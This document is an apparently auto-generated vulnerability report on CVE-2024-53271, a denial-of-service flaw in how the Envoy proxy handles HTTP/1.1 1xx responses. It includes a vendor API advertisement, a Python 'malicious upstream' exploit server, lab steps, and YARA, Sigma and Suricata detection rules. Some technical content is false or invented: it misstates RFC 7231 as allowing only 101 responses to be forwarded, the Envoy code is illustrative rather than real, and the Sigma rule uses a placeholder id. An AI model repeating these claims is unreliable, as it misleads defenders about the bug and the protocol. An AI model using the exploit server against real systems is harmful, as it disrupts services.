CVE-2024-53271
Executive Summary
CVE-2024-53271 is a denial-of-service vulnerability in the Envoy proxy, a cloud-native high-performance edge/middle/service proxy. The flaw resides in how Envoy handles HTTP/1.1 non-101 1xx (Informational) responses. When Envoy receives a non-101 1xx response (e.g., 100 Continue, 102 Processing, 103 Early Hints) from an upstream server, it fails to properly process and forward these responses to the downstream client. This mishandling can lead to downstream failures, including connection stalls, resource exhaustion, and potential denial of service for networked devices relying on Envoy for traffic management.
The vulnerability is rated with a CVSS score of 7.1 (High) and has a low EPSS score of 0.0%, indicating that exploitation is not currently widespread. However, the lack of known workarounds and the critical role Envoy plays in modern cloud-native architectures make this a significant concern for organizations using affected versions. The issue has been addressed in Envoy versions 1.31.5 and 1.32.3, and users are strongly advised to upgrade.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Envoy is a critical component in many cloud-native environments, often deployed as a sidecar proxy in service meshes (e.g., Istio) or as an edge proxy. The vulnerability can be exploited by an attacker who can control or influence the upstream server's responses, potentially causing downstream clients to experience failures. This can lead to cascading failures in microservices architectures, making it a supply chain risk for organizations using Envoy as a core networking component.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None (N) - No authentication or privileges are needed to exploit.
- User Interaction (UI): None (N) - No user action is required for exploitation.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) - No data confidentiality is affected.
- Integrity (I): None (N) - No data integrity is affected.
- Availability (A): High (H) - The vulnerability can cause a complete denial of service.
Threat Level: High. While the EPSS score is low, the potential for disruption in cloud-native environments is significant. The vulnerability can be triggered by any upstream server sending a non-101 1xx response, making it relatively easy to exploit if an attacker can control or influence upstream traffic.
Deep Dive & Mechanics
The vulnerability lies in Envoy's HTTP/1.1 codec, specifically in the handling of informational (1xx) responses. According to RFC 7231, a 1xx response is interim, meaning the server is still processing the request. The only 1xx response that should be forwarded to the client is 101 (Switching Protocols), which is used for WebSocket upgrades. Other 1xx responses (e.g., 100 Continue, 102 Processing, 103 Early Hints) are intended for internal use between proxies and should not be forwarded to the client.
In affected versions of Envoy, when the proxy receives a non-101 1xx response from an upstream server, it does not properly handle the response. Instead of discarding or processing it internally, Envoy may attempt to forward it to the downstream client, causing the client to misinterpret the response. This can lead to:
- Connection Stalls: The downstream client may wait indefinitely for a final response, causing timeouts.
- Resource Exhaustion: Envoy may keep connections open waiting for the final response, leading to memory and connection pool exhaustion.
- Protocol Errors: The downstream client may receive an unexpected 1xx response, causing it to fail or behave incorrectly.
The root cause is a missing check in the HTTP/1.1 codec that filters out non-101 1xx responses. The fix involves adding a check to ensure that only 101 responses are forwarded to the downstream client, while other 1xx responses are handled internally (e.g., by consuming them and waiting for the final response).
Vulnerable vs. Patched Code
The vulnerable code is in the HTTP/1.1 response parsing logic. Below is a simplified representation of the vulnerable and patched code.
Vulnerable Code (Simplified):
// In Http::Http1::ResponseParserImpl::onMessageComplete()
if (status_code >= 100 && status_code < 200) {
// Forward 1xx responses to the downstream client
// Missing check for status_code == 101
downstream_client->onInformationalResponse(response);
}
Patched Code (Simplified):
// In Http::Http1::ResponseParserImpl::onMessageComplete()
if (status_code >= 100 && status_code < 200) {
if (status_code == 101) {
// Only forward 101 (Switching Protocols) to the downstream client
downstream_client->onInformationalResponse(response);
} else {
// For other 1xx responses, consume them internally
// and wait for the final response
// This prevents forwarding to the downstream client
consumeInformationalResponse(response);
}
}
The patch ensures that only 101 responses are forwarded, while other 1xx responses are consumed internally, preventing downstream failures.
Exploitation & Lab Setup
Red Team
Exploitation Scenario:
An attacker can exploit this vulnerability by controlling an upstream server that sends a non-101 1xx response to Envoy. This can be achieved by:
- Man-in-the-Middle (MitM): If the attacker can intercept traffic between Envoy and the upstream server, they can inject a 1xx response.
- Compromised Upstream: If the attacker compromises an upstream server, they can configure it to send a 1xx response.
- Malicious Client: In some configurations, a client can trigger the upstream to send a 1xx response (e.g., by sending an
Expect: 100-continueheader).
Lab Setup:
- Deploy Envoy version 1.31.4 or 1.32.2 (vulnerable).
- Configure Envoy as a reverse proxy to an upstream server.
- Set up a malicious upstream server that sends a 100 Continue response followed by a delayed final response.
- Send a request through Envoy to the malicious upstream.
- Observe that Envoy forwards the 100 Continue to the downstream client, causing the client to wait indefinitely for the final response.
Example Exploit (Python):
import socket
def malicious_upstream():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 8080))
server.listen(1)
conn, addr = server.accept()
# Receive the request from Envoy
request = conn.recv(4096)
# Send a 100 Continue response
conn.send(b'HTTP/1.1 100 Continue\r\n\r\n')
# Delay the final response
import time
time.sleep(30)
# Send the final response
conn.send(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nHello')
conn.close()
if __name__ == '__main__':
malicious_upstream()
Blue Team
Detection and Mitigation:
- Upgrade Envoy: Immediately upgrade to versions 1.31.5 or 1.32.3.
- Monitor for 1xx Responses: Use network monitoring tools to detect non-101 1xx responses in Envoy traffic.
- Rate Limiting: Implement rate limiting on upstream connections to reduce the impact of resource exhaustion.
- Connection Timeouts: Configure appropriate timeouts for upstream connections to prevent indefinite stalls.
Hunting Queries:
- Search for logs containing "100 Continue" or "102 Processing" in Envoy access logs.
- Monitor for increased connection timeouts or resource usage in Envoy metrics.
Indicators of Compromise (IOCs)
- Network Traffic: HTTP/1.1 responses with status codes 100, 102, or 103 from upstream servers.
- Logs: Envoy logs showing "informational response" or "1xx" in the response handling.
- Metrics: Increased connection timeouts, memory usage, or connection pool exhaustion in Envoy metrics.
- Client Behavior: Downstream clients experiencing unexpected 1xx responses or connection stalls.
Detection Engineering
YARA Rule
rule CVE_2024_53271_Envoy_1xx_Response {
meta:
description = "Detects Envoy HTTP/1.1 non-101 1xx responses"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-53271"
strings:
$http_1xx = /HTTP\/1\.1\s(100|102|103)\s/
condition:
$http_1xx
}
Sigma Rule
title: CVE-2024-53271 - Envoy Non-101 1xx Response Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP/1.1 non-101 1xx responses in Envoy traffic
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: envoy
detection:
selection:
response_status:
- 100
- 102
- 103
condition: selection
falsepositives:
- Legitimate 100 Continue responses in some configurations
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-53271 - Envoy Non-101 1xx Response"; flow:to_client; content:"HTTP/1.1 100"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-53271 - Envoy Non-101 1xx Response"; flow:to_client; content:"HTTP/1.1 102"; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-53271 - Envoy Non-101 1xx Response"; flow:to_client; content:"HTTP/1.1 103"; nocase; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Envoy: Upgrade to versions 1.31.5 or 1.32.3 immediately.
- Apply Workarounds: No known workarounds exist. Upgrade is the only solution.
- Monitor Upstream Servers: Ensure upstream servers are not sending non-101 1xx responses.
Long-Term Measures:
- Patch Management: Implement a robust patch management process for Envoy and other critical infrastructure.
- Network Segmentation: Isolate Envoy instances from untrusted upstream servers.
- Security Testing: Regularly test Envoy configurations for vulnerabilities using fuzzing and penetration testing.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact Valters IT.